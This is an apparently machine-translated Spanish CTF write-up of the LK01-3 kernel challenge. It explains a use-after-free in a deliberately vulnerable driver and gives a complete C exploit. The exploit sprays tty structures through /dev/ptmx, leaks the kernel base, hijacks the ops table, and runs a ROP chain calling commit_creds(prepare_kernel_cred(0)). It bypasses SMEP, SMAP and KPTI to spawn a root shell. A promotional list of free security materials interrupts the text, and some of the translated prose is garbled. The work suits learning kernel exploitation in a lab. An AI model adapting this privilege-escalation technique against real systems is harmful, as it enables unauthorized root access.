Prefacio
UAF
Es una vulnerabilidad común en el modo de usuario. También hay vulnerabilidades en el kernel UAF
. Estas vulnerabilidades son causadas por un manejo inadecuado del espacio liberado, lo que hace que los bloques de montón liberados aún se utilicen.
LK01-3
UAF
Mire las lagunas según el tema.
Dirección del proyecto: https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-3
módulo abierto
Al ejecutar open
el módulo, se asigna un espacio de almacenamiento dinámico de tamaño 0x400
y la dirección se almacena g_buf
en
#define BUFFER_SIZE 0x400
char *g_buf = NULL;
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
leer módulo
En el módulo de lectura, 0x400
los bytes se leen desde el espacio del usuario al g_buf
espacio del montón de ejecución.
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
escribir módulo
En el módulo de escritura, 400
los datos de bytes se copian del espacio del usuario al espacio del montón del kernel.
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (count > BUFFER_SIZE) {
printk(KERN_INFO "invalid buffer size\n");
return -EINVAL;
}
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
cerrar módulo
close
El módulo liberará g_buf
el espacio del montón señalado
static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}
Análisis de vulnerabilidad
La longitud está limitada en los módulos de lectura y escritura 0x400
, lo que es consistente con el tamaño del espacio del montón asignado al principio, por lo que, a diferencia de LK01-2, no existe una vulnerabilidad de desbordamiento del montón. Sin embargo, es la única variable utilizada para almacenar la dirección del montón open
en el módulo g_buf
y no hay límite en el número de veces. Llamar al open
módulo varias veces dará como resultado múltiples punteros que apuntan a la misma memoria. Si se libera la memoria, causará UAF
una vulnerabilidad. La siguiente figura muestra UAF
el proceso de construcción de una vulnerabilidad.
Cuando g_buf
se libera espacio fd2
y también se puede controlar a través del descriptor de archivo g_buf
, la pregunta es cómo secuestrar el flujo del programa. Dado que el espacio del montón se slab
asigna a través del asignador y slab
se puede almacenar en caché, se g_buf
colocará en el caché después de que se libere. ., y g_buf
el tamaño es consistente 0x400
con tty
la estructura, por lo que en este momento se garantiza g_buf
que se asignará a tty
la estructura mediante pulverización en montón. El código construido uaf
es el siguiente.
...
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
...
Tengo una duda aquí. La función en el módulo close
solo libera g_buf
la memoria del montón y no tiene operaciones posteriores. Por lo tanto, después de la ejecución, ¿ se puede operar close(fd1)
el descriptor de archivo ? Más tarde, después de las pruebas, se descubrió que no era posible. Después fd1
Al consultar los datos, obtuve que la eliminación de descriptores de archivos es la operación predeterminada del kernel y no tiene nada que ver con la operación de redefinición de módulos close
.
Para ayudar a los estudiantes de seguridad de redes a aprender, obtenga un conjunto completo de materiales de forma gratuita:
① Mapa mental de la ruta de crecimiento y aprendizaje de seguridad de redes
② Más de 60 kits de herramientas clásicos de seguridad de redes
③ Más de 100 informes de análisis SRC
④ Más de 150 programas electrónicos de tecnología práctica de defensa y ataques de seguridad de redes libros
⑤ La guía de examen de certificación CISSP más autorizada + banco de preguntas
⑥ Más de 1800 páginas del manual de habilidades prácticas de CTF
⑦ La última colección de preguntas de entrevistas de las principales empresas de seguridad de redes (incluidas las respuestas)
⑧ Guía de detección de seguridad del cliente de la aplicación (Android + IOS)
Después de construir UAF
la vulnerabilidad y realizar la pulverización del montón, la operación real g_buf
apunta a tty
la estructura. El desplazamiento de la estructura 0x18
es el puntero de operación de una tabla de funciones. Luego, la tabla de funciones se puede modificar en una tabla de funciones personalizada. Las operaciones posteriores son LK01-3
consistentes con la operación del puntero: la operación del puntero se modifica para moverse de la pila al montón y luego ejecutarse commit_creds(prepare_kernel_cred(0))
, utilizando la protección swapgs_restore_regs_and_return_to_usermode
omitida .kpti
correr.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
Exp
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
int spray[100];
//0xffffffff8114fbe8: add al, ch; push rdx; xor eax, 0x415b004f; pop rsp; pop rbp; ret;
//0xffffffff8114078a: pop rdi; ret;
//0xffffffff81638e9b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff810eb7e4: pop rcx; ret;
//0xffffffff81072560 T prepare_kernel_cred
//0xffffffff810723c0 T commit_creds
//0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
#define push_rdx_pop_rsp_offset 0x14fbe8
#define pop_rdi_ret_offset 0x14078a
#define pop_rcx_ret_offset 0xeb7e4
#define prepare_kernel_cred_offset 0x72560
#define commit_creds_offset 0x723c0
#define swapgs_restore_regs_and_return_to_usermode_offset 0x800e10
#define mov_rdi_rax_offset 0x638e9b
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n", user_rflags);
printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
int main() {
save_user_land();
int fd1 = open("/dev/holstein", O_RDWR);
int fd2 = open("/dev/holstein", O_RDWR);
close(fd1);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
char buf[0x400];
read(fd2, buf, 0x400);
unsigned long *p = (unsigned long *)&buf;
//for (unsigned int i = 0; i < 0x80; i++)
// printf("[%x]:addr:0x%lx\n",i,p[i]);
unsigned long kernel_addr = p[3];
unsigned long heap_addr = p[7];
printf("kernel_addr:0x%lx\nheap_addr:0x%lx\n",kernel_addr,heap_addr);
unsigned long kernel_base = kernel_addr - 0xc39c60;
unsigned long g_buf = heap_addr - 0x38;
printf("kernel_base:0x%lx\ng_buf:0x%lx\n",kernel_base,g_buf);
*(unsigned long *)&buf[0x18] = g_buf;
p[0xc] = push_rdx_pop_rsp_offset + kernel_base;
//for (unsigned long i = 0xd; i < 0x80; i++)
// p[i] = i;
p[0x21] = pop_rdi_ret_offset + kernel_base;
p[0x22] = 0;
p[0x23] = prepare_kernel_cred_offset + kernel_base;
p[0x24] = pop_rcx_ret_offset + kernel_base;
p[0x25] = 0;
p[0x26] = mov_rdi_rax_offset + kernel_base;
p[0x27] = commit_creds_offset + kernel_base;
p[0x28] = swapgs_restore_regs_and_return_to_usermode_offset + 0x16 + kernel_base;
p[0x29] = 0;
p[0x2a] = 0;
p[0x2b] = (unsigned long)backdoor;
p[0x2c] = user_cs;
p[0x2d] = user_rflags;
p[0x2e] = user_sp;
p[0x2f] = user_ss;
write(fd2, buf, 0x400);
for (int i = 0; i < 50; i++)
ioctl(spray[i], 0, g_buf+0x100);
}